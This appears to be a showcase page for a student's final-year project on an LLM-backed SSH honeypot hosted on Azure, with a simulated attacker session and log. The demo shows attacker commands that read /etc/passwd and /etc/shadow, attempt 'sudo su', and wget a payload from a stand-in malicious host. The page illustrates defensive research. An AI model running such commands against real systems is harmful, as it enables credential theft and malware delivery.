// Final Year Project — 2026

AI-Driven
SSH Honeypot

A medium-interaction SSH honeypot backed by a locally hosted large language model, deployed to the Azure cloud to capture and analyse real-world attacker behaviour.

Explore Project View Documents
attacker session
jumpbox:/home/root$ whoami
root
jumpbox:/home/root$ ls -la
total 8
-rw-r--r-- 1 root root 98 Nov 15 2024 .bashrc
-rw-r--r-- 1 root root 76 Mar 22 2025 temp.conf
jumpbox:/home/root$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin/nologin
jumpbox:/home/root$ wget http://malicious.com/payload.sh
wget: unable to resolve host address
jumpbox:/home/root$ sudo su
[sudo] password:
Sorry, try again.
jumpbox:/home/root$
session log
2026-04-20 14:32:01 [SESSION START] 192.168.1.45 username=root
2026-04-20 14:32:04 192.168.1.45 cmd=whoami
2026-04-20 14:32:07 192.168.1.45 cmd=ls -la
2026-04-20 14:32:11 192.168.1.45 cmd=cat /etc/passwd
2026-04-20 14:32:15 192.168.1.45 cmd=cat /etc/shadow
2026-04-20 14:32:19 [WGET ATTEMPT] url=http://malicious.com/payload.sh
2026-04-20 14:32:24 [SUDO ATTEMPT] cmd=sudo su
2026-04-20 14:32:51 192.168.1.45 cmd=ps aux
2026-04-20 14:33:10 192.168.1.45 cmd=uname -a
2026-04-20 14:33:44 [SESSION END] username=root duration=103s

01 — About

Project Overview

Traditional medium-interaction honeypots rely on scripted, predictable responses that experienced attackers can fingerprint and disengage from. This project addresses that limitation by integrating a locally hosted large language model to generate dynamic, contextually aware responses — making the honeypot significantly harder to identify and increasing attacker engagement time.

The Problem

Scripted honeypot responses are predictable. Attackers recognise patterns, disengage early, and the honeypot loses its research and defensive value before meaningful data can be collected.

The Solution

An LLM-backed SSH honeypot that generates realistic, session-aware terminal responses. Deployed to Microsoft Azure with Docker, it operates on standard SSH port 22 to attract real-world automated scanners and attackers.

Cloud Deployment

Hosted on an Azure Virtual Machine running Ubuntu Server, containerised with Docker Compose. The honeypot and Ollama LLM service run as separate interdependent containers with persistent log storage.

Data Collection

Every session generates detailed logs — commands issued, credentials attempted, session duration, wget and curl attempts, and IP addresses — building a dataset of real attacker behaviour.

02 — Features

Key Features

// 01

LLM-Powered Responses

Unknown commands are forwarded to a locally hosted llama3:8b model via Ollama, generating realistic terminal output grounded in the current session context and filesystem state.

// 02

In-Memory Fake Filesystem

A stateful in-memory filesystem gives each attacker session a consistent, believable environment with seeded files, realistic timestamps, and full support for common filesystem commands.

// 03

Response Caching

LLM responses are cached per command and filesystem state, ensuring that repeated commands return identical output — maintaining consistency and reducing latency on subsequent calls.

// 04

Comprehensive Logging

Three log types capture all activity: per-session command logs, a credential log for all authentication attempts, and a server log for connection-level events and rate limit activity.

// 05

Security Hardened

Containerisation isolates attackers from the underlying VM. Rate limiting, session timeouts, and command buffer limits protect against resource exhaustion and abuse.

// 06

Credential Wordlist Auth

Authentication accepts only credentials from curated username and password wordlists, making the honeypot accessible to common scanners while maintaining realistic login behaviour.

03 — Technologies

Built With

🐍PythonCore application
🔐ParamikoSSH protocol
🐳DockerContainerisation
⚙️Docker ComposeOrchestration
☁️Microsoft AzureCloud hosting
🤖OllamaLocal LLM runtime
🧠llama3:8bLanguage model
🐧Ubuntu ServerVM operating system

04 — Documents

Project Documents

PDF

Project Specification

The initial project specification document outlining the aims, objectives, and scope of the AI-driven honeypot project.

Open PDF
PDF

Research Report

A comprehensive research report covering the existing literature on honeypots, LLM integration in cybersecurity, and the technical background underpinning the project.

Open PDF
PDF

Final Project Report

The complete final year project report detailing the system design, implementation, testing, evaluation, and findings of the AI-driven SSH honeypot.

Open PDF

05 — Contact

Get in Touch

Interested in the project or want to learn more? Feel free to reach out via any of the channels below.

NameConor Hendley

GitHub Repository

The source code for this project is available on GitHub upon request. Feel free to reach out via email or LinkedIn to request access to the repository.